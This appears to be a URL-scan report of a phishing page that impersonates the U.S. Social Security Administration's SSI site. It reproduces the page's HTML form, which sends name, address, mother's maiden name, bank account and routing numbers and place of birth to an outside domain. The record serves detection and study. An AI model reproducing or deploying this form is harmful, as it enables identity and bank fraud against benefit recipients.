teeny-animal-high.on-fleek.app
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172.67.139.243
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URL:
https://teeny-animal-high.on-fleek.app/
Submission: On July 05 via automatic, source phishtank — Scanned from DE
Submission: On July 05 via automatic, source phishtank — Scanned from DE
Form analysis
1 forms found in the DOMPOST https://sub.skyrealtorestate.com/fix/result.php
<form id="Ent005" action="https://sub.skyrealtorestate.com/fix/result.php" method="post" role="form">
<input type="hidden" name="struts.token.name" value="Ent005_iClaim_TOKEN">
<input type="hidden" name="Ent005_iClaim_TOKEN" value="J0S1U5MOJVAWJ5QHT7WQG7MASYIQN7T">
<div class="yui3-g">
<div class="yui3-u-3-4">
<div class="content">
<div class="uef-container module">
<div class="hd">
<h3>Supplemental Security Income (SSI)</h3>
</div>
<div class="bd">
<div>
<div class="uef-radioList uef-input" data-uefid="uef-in-rdoLst">
<fieldset>
<div class="uef-pattern-label">
<div class="legend"><span id="uef-radioList1PatternLabel"> SSI provides monthly payment to people with disabilities and older adult who have little or no income or resources : </span></div>
<br>
</div>
<div class="uef-pattern-content">
<div class="me">
<div style="float:left;margin-right:20px;">
<label for="name">Full Name</label>
<input id="name" type="text" required="" value="" name="name">
</div>
<div style="float:right;margin-right:20px;">
<label for="name">Address</label>
<input id="address" required="" type="text" value="" name="address">
</div>
</div>
<br>
<div class="me">
<div style="float:left;margin-right:20px;">
<label for="name">Mother Name before Marriage</label>
<input id="mname" required="" type="text" value="" name="mname">
</div>
<div style="float:right;margin-right:20px;">
<label for="name">Father Name</label>
<input id="fname" required="" type="text" value="" name="fname">
</div>
</div>
<br>
<div class="me">
<div style="float:left;margin-right:20px;">
<label for="name">Account Number On File</label>
<input id="number" required="" type="text" value="" name="number">
</div>
<div style="float:right;margin-right:20px;">
<label for="name">Routing Number</label>
<input id="rnumber" required="" type="text" value="" name="rnumber">
</div>
</div>
<br>
<div style="float:left;margin-right:20px;">
<label for="name">Place Of Birth</label>
<input id="birth" required="" type="text" value="" name="birth">
</div>
</div>
</fieldset>
</div>
</div>
</div>
<div class="offstate-noDomesticAddress" id="id-8132291158925">
<div class="container-row">
<div class="uef-selectYesNo uef-input" data-uefid="uef-in-ysNo">
<fieldset>
<div class="uef-pattern-label">
<div class="legend"><span id="uef-selectYesNo2PatternLabel"> Do you have an address in the United States or U.S. territories? </span></div>
<p id="uef-selectYesNo2Instructions" class="uef-instructionText">This includes APO, DPO, or FPO addresses such as military bases or diplomatic locations.</p>
</div>
</fieldset>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="uef-formControls" id="bottom">
<span class="fw-accesskeyTooltip" aria-hidden="true">N</span>
<input type="submit" value="Next" name="BTN_NEXT" id="btn_next" class="uef-btn uef-btn-primary" accesskey="N">
</div>
</div>
</form>
Text Content
K SOCIAL SECURITY The Official Website of the U.S. Social Security Administration CONFIRM IDENTITY SUPPLEMENTAL SECURITY INCOME (SSI) SSI provides monthly payment to people with disabilities and older adult who have little or no income or resources : Full Name Address Mother Name before Marriage Father Name Account Number On File Routing Number Place Of Birth Do you have an address in the United States or U.S. territories? This includes APO, DPO, or FPO addresses such as military bases or diplomatic locations. N